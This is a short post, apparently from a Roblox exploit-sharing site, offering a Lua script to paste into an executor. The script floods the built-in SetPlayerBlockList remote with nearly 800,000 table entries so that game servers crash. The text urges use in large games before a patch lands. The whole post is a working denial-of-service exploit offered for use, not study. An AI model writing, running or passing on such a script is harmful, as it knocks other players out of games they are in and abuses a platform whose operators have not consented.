Run it
Copy the script and paste it into your executor.
--[[ Still works but you more than likely will get disconnected first before it crashes, if it happens just rejoin. Works very well in big games!
go crazy before it patched
]]
local remote = game:FindFirstChild("RobloxReplicatedStorage"):FindFirstChild("SetPlayerBlockList")
local entries = 799999
local payload = table.create(entries)
for i = 1, entries do
payload[i] = { id = i, v = i * 2 }
end
remote:FireServer(payload)() OPENSOURCED Crashes any game, pretty sure this is semi patched but still works. All original credits go to disinvoke on v3rm.

Universal